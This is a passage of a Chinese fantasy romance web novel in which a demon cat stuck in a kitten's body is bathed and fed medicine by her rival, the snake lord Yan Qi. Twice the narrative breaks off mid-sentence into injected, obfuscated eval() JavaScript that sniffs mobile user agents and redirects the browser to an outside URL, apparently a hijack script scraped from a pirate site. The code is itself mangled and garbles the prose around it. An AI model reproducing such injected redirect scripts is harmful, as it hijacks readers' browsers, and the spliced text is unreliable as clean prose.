但转念一想到这条臭蛇动不动就要剥妖皮的作风,虞窈的心里忽然就冒出了一个不大好的想法。 ......这些地毯该不会都是晏岐从别的妖身上剥下来的皮做成的吧? 一想到这,虞窈忍不住心底发毛,就连身上的毛发也不自知地轻微炸了开来。 阿弥陀佛,阿弥陀佛,猫无心冒犯,要怪就去怪晏岐那条臭蛇好了。 虞窈小心翼翼地踮起脚脚走路,尽量把自己与地毯的接触面积降到了最低。 小白猫这才稍稍安心,重新抬眼望去。 随风摇曳的红烛分立两侧,是这座昏暗阴森的寝殿唯一的光源。 只是不知为何,这里面的空气竟然潮湿得紧,幽暗的空间更像是某只凶兽栖居的巢穴。 果然是晏岐这只只会阴暗爬行的臭蛇住的地方。 猫才不喜欢。 唯一可圈可点的地方则是,这座寝殿内部还有许多形态各异、大小不一的粗木枝干,应当是供晏岐的蛇尾盘踞缠绕在这些粗木上休憩的。 那么于猫而言,也是很好的可以跳上跳下的天然爬架。 只是这具小白猫的身体腿实在太过短小,也不知道能不能跳得上去。 生怕又出现一次中途坠机的窘况,虞窈决定先去别的地方探索一番。 然而就在此时,她忽然听到了一声极其细微的响动。 小白猫立马机敏地竖起双耳,警觉地朝着声音来源的方向看去。 只见寝殿的正前方,也就是日尧与月女方才伏首行礼的方向,那一处的石壁突然呈阴阳太极状,从中分裂了开来。 有缥缈水雾随之从壁门的缝隙里飘出,一道颀长翩然的身影伴着朦胧的雾气,悄无声息地走了出来。 是晏岐。 难怪寝殿里的空气会这般潮湿,看来,是那道石壁后面有一处供人沐浴的温泉之类的地方,与这座寝殿紧密相连。 而刚沐浴完的晏岐竟未着寸缕,湿润的乌发从他的肩头滑落下来,尾梢还在不停往下滴水。 不远处的虞窈目瞪口呆地将这一幕美男出浴......啊不,应该是臭蛇耍流氓的画面尽收眼底。 猫猫脸完美呈现出“囧”字状。 不是,这条臭蛇到底有没有公德心啊,洗完澡怎么能不穿衣服,就这么光溜溜地走出来了...... 不过仔细一想,好像确实也没有什么毛病。 其他小妖不敢轻易踏足蛇尊的寝殿,现下殿内唯一的活物就是她这只所谓的小妖宠。 而在晏岐眼中,自己的妖宠不过就是只刚开灵智的小小狸奴,就算被它看全了身体,也不会有什么问题。 ——哪里想得到里面的芯子会被死对头虞窈取而代之。 尽管虞窈看晏岐这条臭蛇哪哪不顺眼,不管晏岐是在呼吸,还是左脚比右脚先踏入寝殿,落在虞窈眼里,都是犯了天条,是不可饶恕的重罪。 只不过,有一点不可否认的是,无论是长相还是身材,晏岐这条蛇都做到了让人无可挑剔。 当然了,在猫的心目中,晏岐的方方面面终究是要远逊色于猫的。 但放眼整个三界,很难再找出一人的容貌与身材能如晏岐这般,叫人匆匆一眼便惊艳叹服。 晏岐的肤色是极不正常的白,乌黑湿润的长发微微卷曲,紧紧贴在胜雪的肌肤上,天生就能形成强烈的视觉冲击。 宽肩窄腰的男人神情总是很淡,微微下压的薄唇抿着,给人的感觉恹恹,又有一种浑然天成的阴郁气质。 他胸前的两点在乌发的遮掩下若隐若现,流畅的肌理线条勾勒出完美的肌肉块垒。 至于那与男人的身体融为一体的片片蛇鳞充满了邪性,从修长的脖颈处一直蔓延到他的腰腹位置,还有两道令人遐想的弧线顺着腰际向下继续延展而去。 虞窈就这样盯着晏岐,眼神不躲不避。 没办法,谁让晏岐欠了她一流清湖的鱼不还,她现在就算多看两眼晏岐的身体,那也是天经地义。 不过,她早就听说蛇这个种族和别的妖族不一样,是有两根的。 猫圆溜溜的大眼睛转了又转。 嘶,真有两根么? 平时该怎么放呢? 猫还从未见到过诶。 猫疑惑,猫好奇。 强烈的求知欲驱使着虞窈不着痕迹地吞咽了下口水。 猫悄咪咪跺了跺脚,十分端庄地歪着脑袋,视线逐渐下移,就这么朝着晏岐的身下直勾勾看去。 盯—— 7. 第七章 猫第一眼看到的其实是腰腹那道过于触目惊心的伤疤。 狰狞的疤痕从腰腹旁侧开始,一直蔓延到了另一侧。 像是利刃砍出来的痕迹,想要将晏岐从中间生生腰斩了一样。 这使得猫足足愣了两秒,还没来得及继续往下瞥,那具白如雪的身体忽然被一块白色的布料给严严实实地遮挡了起来。 是晏岐披上了寝衣。 强烈的好奇心没能够得到满足,虞窈一个没忍住,不满地啧了一声。 “喵。” 这臭蛇,早不穿衣服晚不穿衣服,怎么偏偏在这个时候把衣服给穿上了。 猫还没有看清呢。 坏,今晚上铁定是要睡不着了。 半夜寅时猫都得睁着双卡姿兰大眼睛坐起来,质问自己的眼速为什么不能再快一点,更快一点。 小猫咪高高竖起的尾巴瞬间就肉眼可见地耷拉了下去。 “你在遗憾些什么?”一道和缓懒倦的声音忽而在耳边轻飘飘地响起。 虞窈仰头与径直朝她看来的晏岐对上视线,男人说话间已然收回了蛇信,那漠然的眼神却好似能够轻易洞察人心。 猫在心里轻哼一声,毛茸茸的小脑袋很快就别到了一边去,没有搭理。 若是别的小妖胆敢这般无视妖界尊主,身上的皮恐怕早就被日尧给扒下来,出现在妖殿的石阶上了。 晏岐这会儿看起来倒也不甚在意。 他拢上寝衣,将最后的一点蛇鳞也遮掩在了衣襟之下,便视虞窈为无物,彻底无视了这只行为古怪反常的小猫咪。 似乎之所以让日尧和月女把猫送来寝殿,只是为了保证猫能够时时刻刻都在自己的眼皮子底下,没有别的用意。 足足有十米长,墨绿到近乎浓黑的蛇尾放出,从容盘在了石壁前的玉床上面,晏岐阖上眼睛,开始闭目打坐。 虞窈认得这玉床。 这玉床名为玄冰榻,整体呈冰蓝色,床身犹如会呼吸一般,时不时从冰蓝变得透明,向四周散发出寒凉的气息,是极佳的治愈法器。 回想起方才匆匆瞥见的晏岐腰腹那道极其骇人的伤疤,虞窈眨一眨眼。 原来,前段时间晏岐在天级秘境里受了重伤的传闻,是真的消息啊。 ——这还是虞窈变成正常猫咪的模样、去巫云峰山脚下转悠的时候,偶然从两只狗妖嘴里听到的八卦。 那天的情景虞窈仿佛还历历在目。 “那天级秘境当真有这般厉害,就连妖界那位蛇尊大人去了都受了重伤,昏迷了三天三夜才被鬼草谷谷主救醒?” 其中一只土黄色的大狗不停摇晃着尾巴,毫无违和感地口吐着人言。 “那包是真的呀。”另外一条黑白相间的斑点狗用鼻孔出着粗气,很是得意地昂起头颅说道。 “我可是在妖界内部有硬关系的,还能用假消息骗你不成?” 也就是这附近没什么人经过,不然,这两只狗妖凑在一起嘀嘀咕咕的场面,说不准能随机吓死一个路过的凡人。 彼时虞窈正躺在一块大石头上面优哉游哉地晒着太阳,耳尖地听到“蛇尊”两个字,顿时太阳也不晒了,尾巴也不摇了。 猫“咻”地一下就从石头上蹦跶了下来,十分积极地挤进了两只狗妖中间。 两狗一猫的脑袋瞬间形成了“品”字格局。 小猫炮如连珠似的接连发问:“诶,你们刚刚是在说晏岐吗?他受伤了?真的假的呀?是胳膊断了还是腿瘸了?修为境界有没有大跌成废人呀?真的只是昏迷了三天三夜,而不是三年又三年吗?” 神出鬼没的白猫令两只狗妖都吓了一大跳,差点双双原地弹跳起飞。 斑点狗妖尖叫着“汪”出声来:“你走路都没声音的吗?!” 转头见是一只通体雪白的漂亮小猫妖,斑点狗妖怔愣一瞬,狗脸忽而唰地一下就莫名其妙地红了起来。 它装模作样地轻咳了声:“哼,那是,我堂兄的嫂嫂的侄儿的兄弟可是在妖界当差,受伤的消息当然千真万......” 一句话尚未说完,斑点狗妖突然发现在白猫的额心处,有一枚月牙状的白金色印记。 等等,好像有哪里不对。 巫云峰附近的猫妖,毛发为白色,额心还有会发光的月牙印。 所有的特征结合在一起,统统指向了巫云峰上的那只灵猫大妖。 想到妖界曾明令禁止向灵猫大妖透露任何与蛇尊有关的消息,违者将被扒皮抽筋。 斑点狗妖的脑子这辈子都没转得这么快过。 只短短一秒,就在得罪蛇尊还是得罪灵猫大妖两者之间飞快做出了决定。 它话锋蓦地一转,干笑出声:“......当然千真万确个蛋。” “灵猫大人,俗话说三人成虎,这消息从我堂兄的嫂嫂的侄儿的兄弟一路传来我这里,不知道经过了多少只妖的嘴。” “就算是真的肯定也早就传成假的了,您想想,是不是这么个理。” 猫狐疑地盯着狗:真的吗? o.0 说实在的,猫其实没听过什么人不人虎不虎的。 猫只知道,早在几千年前,虎还得尊称猫一声“老师”呢。 总觉着斑点狗妖的反应很是奇怪,虞窈刚要打算继续盘问,就见斑点狗妖眼疾爪快地拽上了自己的好兄弟土大黄。 “对了灵猫大人,我们兄弟俩还有点事,就先恕不奉陪了昂汪汪汪——” 不等虞窈叫住它俩,两只狗妖就一溜烟消失得无影无踪。 而如今亲眼见到了晏岐身上的伤,这条臭蛇甚至还用上了玄冰榻这种级别的治疗法器,就算虞窈再如何迟钝,她这会儿也能反应得过来,自己是被那只斑点狗妖给耍了。 猫震怒。 猫生气。 等着吧,若是有朝一日猫能够重新变回人形、回到巫云峰去,猫就算掘地三尺也定要把那只斑点狗妖给找出来,好好教训它一顿,扒它的皮抽它的...... 不对,猫才没有这么血腥暴力。 猫顶多把斑点狗妖的两颗犬牙都给打烂掉,让它这辈子都啃不了大鸡腿,吃不成肉包子罢了。 都怪晏岐这条臭蛇,猫明明只在臭蛇身边待了这么短的时间,居然也跟着被带坏了。 虞窈抬起猫猫头,不满地看向了这会儿正在运功打坐的晏岐。 男人阖着双目,未束的乌发伴随着强劲的妖息来回翻涌着,源源不断从玄冰榻里散发出来的冰蓝气息也与那幽绿色的妖息交缠在一起,温和地为晏岐疗愈着伤势。 猫倒是知道人界还有一句俗语,叫做“趁你病、要你命”。 负伤的死对头这会儿就在自己面前打坐调息,若是让他就这么舒坦地疗伤的话,那她虞窈就不是在十一月出生的小猫咪了。 长达十米的蛇尾从玄冰榻上一直蜿蜒游动至虞窈面前,粗壮的蛇身比五只虞窈叠在一起还要高大。 选择抄近道的虞窈便抻着肉垫,哼哧哼哧地爬上蛇尾,翻山越岭地来到了晏岐跟前。 小白猫找了个蛇尾上最为平坦的地方仔细坐好,蓬松的大尾巴从两只前爪上绕了一圈,最终规规矩矩地盘在了身前。 是很端庄优雅、十分有礼貌的样子。 也就是这么端庄优雅的猫猫清了清嗓,看准时机: 晏岐凝气的时候—— 小白猫扯着嗓子:“咪呜~咪呜咪呜咪~咪咪咪~” 晏岐调息的当口—— 小白猫再接再厉:“喵嗷喵~喵嗷嗷喵~喵喵喵喵喵~~” 晏岐运功的瞬间—— 小白猫犹入忘我之境,嗓音越发嘹亮起来:“嗷呜嗷呜嗷呜喵~嗷嗷嗷嗷~喵~~~” 在小白猫坚持不懈的努力下,晏岐终于收起妖息,睁开了眼。 借着昏暗摇曳的烛火,那双泛着幽绿色的竖瞳淡漠地看向了此刻正在自己不远处悠闲舔爪摇尾的小猫咪。 不知是晏岐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004146|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错觉还是怎么,小白猫似乎还十分无辜地冲他wink了一下。 蛇小子,你也很为本咪的歌声着迷吧? 晏岐默然半晌:“日尧,月女。” 两道披着斗篷的黑影顿时犹如鬼魅一般,齐齐单膝跪在了晏岐面前:“尊上。” 晏岐:“你二人方才可有听见什么声音?” 日尧与月女对视一眼:“尊上指的,可是这猫儿的叫声?” 他们方才在殿外值守的时候就听到了,这小狸奴的叫声颇为洪亮,很像是吃饱饭后,存了一身的精力没处使。 晏岐惜字如金:“为何?” 好在日尧和月女跟随他多年,哪怕只是这没头没脑的两个字,也能瞬间明白过来尊上的言外之意。 ——尊上是在问,这只小狸奴为何会忽然嚎叫不止。 日尧道:“禀尊上,依属下愚见,许是近来入春,以致这猫儿发情了。” 虞窈舔爪的动作一顿:“?” 你才发情!你这条臭狗才会在春天发情!猫和狗玩不到一块儿去,果然是有它的道理的! “是么?”晏岐低眸看了过来。 男人微偏着头,眸光意味深长地睨着猫:“既然如此,那就阉掉好了。” 虞窈瞳孔震惊:“......?” 不儿?动不动就要阉猫?畜生!你这条臭蛇更是畜生中的畜生! 幸好还有月女在场,及时把话题拉回了正轨:“可是,尊上——” “嗯?” 月女:“您的这只小狸奴,似乎是只母猫。” 哪有阉小母猫的说法。 “而且,这小狸奴月份尚小,根本就还没到发情的年纪。” “噢?”晏岐撩眸,“那依你之见,又是为何。” “月女认为,或许只是她单纯觉得无聊了罢。” “无聊?” “是,”月女垂首,“属下曾听柳幸说过,猫这一族的妖宠最喜欢在无聊的时候想方设法地引起主人的注意。” “譬如在房间里蹿跳不止,亦或是打翻东西,又可能单纯只是通过叫声来表达无聊之情。” “柳幸刚把他的妖宠带回妖界的时候,属下便经常听他烦怨,那只猫经常在半夜里上蹿下跳、嚎叫不止,常常惹得他不得安宁,情况与这只小狸奴倒有几分相似。” 晏岐若有所思地抬眉,看向仍然蹲坐在他的蛇尾上面的小猫咪。 男人漫不经心地轻轻摆动了下腰身,那条硕大的蛇尾便顿时犹如海浪一般上下翻涌起来。 “倒是和虞窈那只猫一样烦人。” 小白猫险些就这样被他从蛇尾上硬生生甩下去,一时间气得龇牙咧嘴。 你才烦人!你和你的狗一样烦人! 小蝴蝶贴贴。 片刻后,晏岐再度启唇:“去,弄桶水来。” “水?”日尧有些不解,“尊上要水何用?” “月女方才不是说,这猫儿在本尊这里无聊得紧么?”晏岐很轻地歪了下头。 “本尊瞧她蓬头垢面,一身脏兮兮的样子,若出去说这就是本尊养的妖宠,着实有些丢人现眼,不如今晚就给她洗个澡,也顺道为她解解闷好了。” 听着晏岐一本正经地胡说八道的虞窈:“?” 你盐津虾吗?你是不是盐津虾! 猫到底哪里蓬头垢面、哪里脏了? 猫今天下午才把自己从头到尾舔得干干净净,一共还舔了三遍好不啦。 她明明就是三界里最爱干净的小猫咪! 小猫咪生气,小猫咪炸毛,小猫咪想要变成蒲公英怪,把这条臭蛇嗷呜一口吞进肚子里! 然而,晏岐接下来的话更是让虞窈如遭雷劈,彻底傻愣在了原地。 男人微笑着,缱绻的语调轻飘飘落在猫的耳朵里,却好似变成了这世间最为恶毒的话语。 “恰巧本尊今夜也觉着无聊。” “——那就由本尊亲自来为她洗好了。” 8. 第八章 “不可!万万不可!”让虞窈没有想到的是,比自己更先提出抗议的人居然会是日尧。 就是这话猫儿不怎么爱听。 “尊上您是万金之躯,这只白猫何德何能配让尊上您为她做这种事情!”日尧言辞迫切,语气焦急。 更何况......更何况,尊上平日里对他的妖形可从来都是视而不见的。 他虽不需要尊上为他洗澡什么的,可尊上平时连揉揉三陨边牧的头、摸摸尾巴都懒得。 狗不服,狗凭什么比不上猫?狗到底输在了哪里! 猫能够做到的事情,狗明明也可以! 眼看着晏岐的神色略微淡了下来,月女的心重重一跳,条件反射性地拽上日尧,就头也不回地往寝殿外冲去。 “尊上,春天来了,这条蠢狗也得失心疯了,您千万别听他胡言乱语。属下这就去把水给打来。” 月女的声音渐行渐远,慢慢消失,偌大的寝殿里很快又只剩下一蛇一猫。 十分安静。 猫就如同风化了般,保持着同一个姿势僵在原地,久久没有动弹。 也不知是噶了还是鼠了。 晏岐好整以暇地低眸睨着一动不动的猫,暗色蛇尾悄然游到小白猫的跟前,轻轻拨了下猫的脑袋。 小白猫跟个不倒翁似的,被那不轻不重的力道拨弄得左右来回晃了晃。 终于回过了神来。 然后—— 就像是跟着狗染上了失心疯,一时之间都忘了自己是不可能离开这座妖殿的,开始满屋子地蹿来跳去。 跳不上的粗木枝干成功蹦上去了,破不了的结界也闷头去撞了。 被结界“啪叽”反弹回地上的猫甚至盯着房顶上的砖瓦跃跃欲试,认真思考起猫从屋顶逃脱的可能。 开什么玩笑?晏岐光是抱着她,就让她觉得有够耻辱的了,现在居然还妄想要给她洗澡? 不行不行,猫脏了,猫这回是真要脏了! 小蝴蝶你先别走,把猫一起带上行不行QAQ。 但显而易见的,一只只有两三个月大的小猫咪是很难逃出一位有着炼虚期修为的大妖的手掌心的。 晏岐单手支着下颌,饶有兴味地弯唇微微笑着。 那笑容近乎恶劣,看着小狸奴疯狂地用爪子扒拉着透明的结界无果,很快又如同无头苍蝇一般在寝殿里逃来蹿去。 直到小猫咪快要力竭,抓也抓不动、跑也跑不掉之时,才懒洋洋地抬手施了个术法。 小白猫瞬间便保持着两脚腾空的姿势,不动了。 是定身术。 虞窈气急败坏,忍不住垮起个小猫批脸,破口大骂道。 “晏岐你无耻,下作,不要脸!臭蛇整天就只会耍这些阴招,懂不懂‘光明磊落’这四个字要怎么写啊......” 灵猫大妖想破脑袋,把她这辈子从别人那里听来的所有骂人的话语统统都给骂了一遍。 然而这一切落在晏岐的耳朵里,全部都变成了:“喵——喵喵喵———喵喵喵喵喵喵!” 晏岐这会儿也不觉着猫吵了。 男人以手支颐,轻勾了勾手指,便操纵着妖息将小猫咪送到了自己跟前,骨节分明的长指轻拨了拨猫儿那毛绒绒的小脑袋。 温声:“很好,很有精神,继续叫。” 虞窈:“......” 你个神金j%l&g@n。 恰在这时,一蝴蝶一狗正好去而复返。 月女显然是已经在外面给日尧洗过脑了,对于尊上要给一只猫洗澡这件事,这会儿的日尧没再表现得有一开始那般抗拒。 只是少年紧抿着唇一声不吭,显然还是不大高兴。 如果日尧此时此刻是妖形的话,三陨边牧的尾巴恐怕都径直耷拉到了地毯上,要多丧气有多丧气。 “尊上,水来了。”月女把水桶放下,一并带来的还有让妖仆准备的一块皂角,以及一张干净的毛巾。 东西倒是准备得挺齐全。 晏岐垂眸看着眼前的一应物什,稍微沉吟了片刻。 然后—— 大手提溜着猫,就把猫直接放到了水桶里面去。 毫无心理准备的虞窈猝不及防地与水来了个亲密接触,水面差点就要没过猫的鼻孔。 凄厉的猫叫声霎时响彻了整个寝殿。 “喵喵喵嗷咕噜咕噜咕噜咕噜——” 杀猫啦!有蛇要谋杀猫啦! 猫还没有学会游泳!有没有人来管管猫!快救救救救命。 在场数月女的反应最快。 倒吸完一口凉气,少女着急忙慌地紧急叫停:“尊上,不、不可以这么给猫洗澡的。” 在这个瞬间,虞窈仿佛听到了天籁之音。 呜呜呜,蝶好,蛇坏。 闻言,晏岐无声地斜瞥了月女一眼,随即把猫从水里拿了出来。 那平静的表情像是在问:那要怎么洗? 堂堂妖界尊主,不会给妖宠洗澡,其实也是件非常正常的事情。 那么同理,身为蛇尊的暗卫,如何杀人于无形,以及怎么样才能够把人折磨得求生不得、求死不能,才是月女和日尧最为精通的领域。 蝴蝶也不会给猫洗澡啊...... 但一回想起小猫咪方才在水桶里嗷嗷直叫唤的画面,月女也只得硬着头皮,按照自己的认知回答道。 “尊上,或许您可以把小狸奴的脑袋露在外面,用水打湿毛发后,再用皂角搓一搓,最后洗净擦干......这样应该就可以了。” 难得晏岐愿意听一次月女的话。 不然,按照晏岐一开始的洗法,虞窈严重怀疑,她会在一炷香之后就被黑白无常带去阴曹地府见阎王爷。 并且在阎王爷询问她这种有着化神期修为的大妖是如何死的时候,十分丢脸地说出“是被一只又蠢又坏的臭蛇洗澡洗死的”这之类的话来了。 只不过,虞窈是暂时没有了性命之忧,很快却又有别的问题浮出水面。 那就是,被晏岐洗澡这件事,实在是太太太太奇怪了。 这具小白猫的身体实在是小,晏岐只用一只手就能够轻易握住。 别人都是盈盈一握的细腰,到了虞窈这里,就变成了盈盈一握的小猫。 晏岐一手握着她的身体,另一只手的食指寸寸抚过她被水打湿了的毛发,而后在她的身上毫无章法地来回游移了起来。 晏岐指尖的温度是彻骨的冰,桶里面的水却是温温热热的,十分适宜的水温。 两种截然不同的温度交叠在一起,再加上晏岐没轻没重的按抚。 那冰冷修长的指节偶尔还会划过猫的腋下,掠过猫柔软的肚皮,甚至是一些不该被碰触到的地方。 被折腾到气若游丝的虞窈抻着四条腿腿任蛇摆布。 猫粉嫩嫩的鼻尖上甚至还停留着一个指甲盖大小的泡泡,随着猫的呼吸浮浮沉沉。 虞窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004147|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然之间就觉得,还不如刚刚就让她直接被水给淹鼠了呢。 猫生无望,痛苦面具。 不过就在这时,虞窈突然感觉到一直被束缚住的身体,忽地变得轻盈了起来。 定身术的时间到了。 猫自由了! 猫!自由了! 重获新生的虞窈甩甩脑袋,随即想也不想地就仰起湿漉漉的小猫脑袋,朝着晏岐停留在半空中、还拿着皂角的手奋力咬去。 小白猫不偏不倚地咬中了男人的食指,皂角的草木香气在顷刻间便溢满了整个口腔。 见到此情此景的月女霎时倒吸了一口冷气。 同时眼疾手快地把手偷偷绕到身后面,十分有先见之明地给日尧也施了个定身术,谨防这条蠢狗的失心疯复发。 没有尝到血腥味的虞窈尚不知足。 猫再接再厉,发了狠地再度加重了啃咬的力道,一双漂亮灵动的鸳鸯眼同时也凶巴巴地瞪向晏岐。 臭蛇,没脸有皮! 毁猫清白,死! 只是让虞窈没有想到的是,晏岐那张优越的面庞上并没有什么大的起伏波动,依旧是那副淡淡的神情。 蛇只是朝着她很轻地歪了下头。 “这里又不止本尊一只妖,不咬他们,只咬本尊?” 虞窈:“?” 不儿,你以为猫是在奖励你吗?! 小白猫死死叼着晏岐的食指不放,猫猫脸被修长的手指撑得向两侧微微鼓起,就连喉咙里也发出了呜呜的低吼声。 ——这会儿不再是盈盈一握的小猫咪了,而是一头发了飙的小凶兽。 瞧着小狸奴这般恶狠狠的模样,晏岐却摇了摇头,不知所以地轻笑起来。 慢声道:“当真是和虞窈那只猫一样不讨喜。” 这般说着,晏岐却微微勾起了唇角,骨节分明的食指慢慢扫过小白猫湿热温暖的口腔。 有着薄茧的指腹漫不经心地轻按了按小猫咪湿滑柔软的舌头,上面均匀覆盖着一层不起眼的倒刺。 晏岐嗓音温润:“晚上没吃饱饭么,就这点力气?” 虞窈:“???” 他!又!在!挑!衅!咪! 虞窈气得连吃奶的劲都用上了,不忘伸出后腿,对准晏岐的手腕就是一番用力的又蹬又踢。 男人腕间的青色血管微微凸起,与冷白的肤色形成鲜明对比,脉络清晰。 而皂角的草木香裹挟着氤氲朦胧的雾气蒸腾而起,小狸奴过于激烈的动作掀起哗啦啦的水声,就连木桶周围的地毯也被小白猫带起来的水花打湿了个彻彻底底。 让你挑衅咪!让你欺负咪! 猫咬死你这个讨人厌的东西! 小白猫手脚并用地紧紧环抱住晏岐的手,踢咬得正是上头起劲。 忽而却注意到晏岐那双墨绿色的竖瞳正一错不错地盯着她,唇角充满愉悦的笑意也逐渐扩大了开来。 说实在的,猫有点怀疑自己的眼睛了。 小白猫逐渐停止了啃咬的动作,蹬也不想蹬,踢也不想踢了。 她有些木讷地松开晏岐的手指,被水打湿了的猫猫脸肉眼可见地呆滞住,湿漉漉的大尾巴也笔直地往下垂着,还在不停地滴答滴答滴。 等等,不对劲。 十分有十二分的不对劲。 晏岐这条臭蛇该不会是个变态吧? ......不然猫怎么会觉得,自己好像真的是在奖励他呢? 9. 第九章 “这就不咬了么?”见小白猫松开了自己,晏岐垂眸望向了自己方才被猫花式啃咬过的手指。 指腹上面除了小猫湿漉漉的口水以外,还有两颗深深的小猫牙印。 甚至还是对称的那种。 被啃咬的感觉仿佛仍停留在指尖上面,其实是不痛的。 只是,猫儿柔软湿滑的舌头从指腹上扫过的时候,会带起一阵挠心的痒意。 于晏岐而言,那感觉怪异而又微妙。 毕竟,几乎所有的妖都打心底里畏惧晏岐。 哪怕是玉西山那只意图把晏岐从妖界尊主的位置上拽下来的玉面狐狸,也会因晏岐的强大而惧让他三分。 无人敢亲近蛇尊,胆敢忤逆蛇尊者,更是只有一条死路无疑。 ——当然,除了虞窈,以及这只方才还叼着蛇尊的手指、在肆意作威作福的小猫咪。 晏岐不着痕迹地摩挲了一下食指和拇指,从小猫牙印里溢出来的两滴血珠便眨眼间消失不见。 他重新把玉白的手指递到小狸奴跟前,骨节分明的手指微勾了勾。 循循善诱的低沉嗓音像是在明目张胆地勾引猫:“当真不再咬了?” 小白猫气得索性直接别过头去。 咬什么咬,她才不要接着奖励他!没脸有皮的东西。 “那好吧。”晏岐难得有耐心地等了猫一会儿,没等到猫继续扑咬他的手指,平静的语气听起来竟有几分遗憾。 他耸耸肩,不甚在意地继续给小猫咪洗澡。 虞窈原本以为,按照晏岐这种对任何事情都很难提起兴趣的性子,这场酷刑很快就会结束,她只需要再忍一忍就好。 然而,也不知“给猫洗澡”这件事究竟戳中了晏岐的哪根兴奋神经,受万妖尊崇的蛇尊居然在这件事上展现出了十足的耐心。 花了将近半个时辰的功夫,还让自己的两名暗卫进进出出添了总共三道水,将小白猫里里外外都洗了个遍。 直到快要把猫给洗秃噜皮了,这场于虞窈而言、近乎非人的折磨才终于结束。 洗完澡,虞窈整只猫也彻底废了。 小白猫没精打采地窝在寝殿的角落里,巴掌大的身体跟着蜷缩成了一团,活脱脱一副“猫的前途完犊紫”的模样。 晏岐用巾帕将沾了水的手指一根根擦干净:“月女,她这又是怎么了?” 月女心说她怎么知道。 她是给晏岐杀人解决麻烦的暗卫,把人的血肉剜出一朵花来对她来说轻轻松松,可她又不是真的猫族大夫啊喂。 现在这种情况,不管是把迟离还是柳幸召来问话,都比问她要来得靠谱得多好不好! 月女心里的吐槽声惊涛骇浪,面上却依然恭恭敬敬,硬着头皮回答道。 “禀尊上,许是方才给小狸奴洗澡的时间过久,小狸奴不慎着了凉,才会这般没了精神劲。” 晏岐入炼虚期多年,寻常的法术武器已无法伤他分毫,就连方才被咬,也是在他的纵容默许下,才勉强被小猫咪咬出了那么点血珠。 自是早就忘了,着凉生病是种什么滋味。 以至于月女的话音落了半晌,他才明白过来月女的意思。 晏岐几不可察地蹙了眉心:“这么容易着凉生病,猫这一族都是这般脆弱的吗?” 这点倒是和虞窈那只笨猫一点不像了。 虞窈将晏岐眼里那再明显不过的“这么不经玩?”的意思尽收眼底。 小白猫麻木地躺倒在柔软的地毯上面,没了挥舞爪子的力气,只能愤愤不平地在心里面叫嚣。 脆弱你个大头鬼。 有本事等她找到法子恢复原身、成功渡完劫,再来跟她堂堂正正地打一架啊。 到那时,她不把晏岐的鳞片挨着挨着拔下来踢着玩,她就不姓虞! - 只可惜,想法很美好,现实很残酷。 被洗废了的小猫咪终究难以逃脱得了晏岐的五指山。 猫毛茸茸的小脑袋被一只冰冷的大掌扶起来的时候,她已疲惫地睡了一觉,这会儿半梦半醒着,还有些神志不清。 毕竟,身为一只灵猫,虞窈平时活跃的时间段其实也就只有那么集中的几个时辰而已。 每天的其余时间,虞窈都更喜欢窝在自己的天鹅绒软床上呼呼睡大觉,亦或是在阳光下闭目养神,享受来自大自然的恩赐。 更别提猫刚刚还被这样那样折腾了一通,早就筋疲力尽。 虽然意识不大清醒,但虞窈还是清楚地知道自己这会儿正身处在晏岐的寝殿里。 尽管并不是很想承认,但对于现在的猫来说,这里是绝对安全的地方,便只迷迷糊糊地半睁着眼睛,松软的大尾巴在身后扫来扫去。 模糊不清的视野里,有缥缈重叠的烛火在她眼前来回摇曳晃荡。 半梦半醒间,虞窈闻到了一股清冽的松木冷香,夹杂着淡淡的草木皂角香气。 还有一道低沉清冷的声音轻飘飘落在耳畔,不带任何感情:“张嘴。” 听出来这是晏岐的声音,虞窈没有搭理。 叫她张嘴她就张嘴,那她这只千年灵猫大妖岂不是很没面...... 没等猫在心里吐槽完,一根冰凉的手指便二话不说地撬开了猫的嘴,把一颗圆圆的、像是药丸一样的东西喂进了猫的嘴里。 干什么干什么,趁猫之危,蛇的君子风度呢! 虞窈下意识地用舌头舔了舔,尝到了一股淡淡的枣甜味。 难道,这就是所谓的“吃枣药丸”? 啧,总有刁蛇想害咪。 虞窈想也不想就要把药丸给吐出去,晏岐却像是有先见之明一般,提前就从她的嘴里撤离了手指,转而把猫的嘴巴给合拢了起来。 撤离前,那冰冷冷的手指好像还轻扯了扯她的舌尖。 不给吐。 虞窈没办法,一边在心里默默将晏岐蛇谱上下十八代都给统统骂了一遍,一边不得已把那颗吃枣药丸咽进了肚子里。 提不起精神的猫,再度昏昏沉沉地睡了过去。 猫久违地做了一个梦。 她梦见自己在一片广袤无垠的大草原上肆意奔跑着,同时还有一条有着墨绿色花纹的暗色蛇尾也跟在她的身后,紧追着她不放。 她跑,蛇尾追,小猫咪插翅难飞。 最后,那条蛇尾还是追赶上了虞窈,随后化作了一座五指山,蛮不讲理地把她压在了山脚下面。 可怜的小猴咪叫天天不应,叫地地不灵。 然后—— 虞窈就被活生生给吓醒了。 慢吞吞睁开眼睛的时候,有几缕和煦的日光透过窗棂的缝隙洒在了猫的身上。 本该是一个沐浴着日光、舒舒服服地睡到自然醒的美好清晨,虞窈却莫名觉着自己好像有点喘不过来气。 她尝试着想要伸懒腰,却发现自己这会儿竟动弹不得。 虞窈仅剩的那点困意霎时间全无,猛地完完全全睁开了眼睛。 视野随即就被成片成片的蛇鳞全然占据。 ... ... 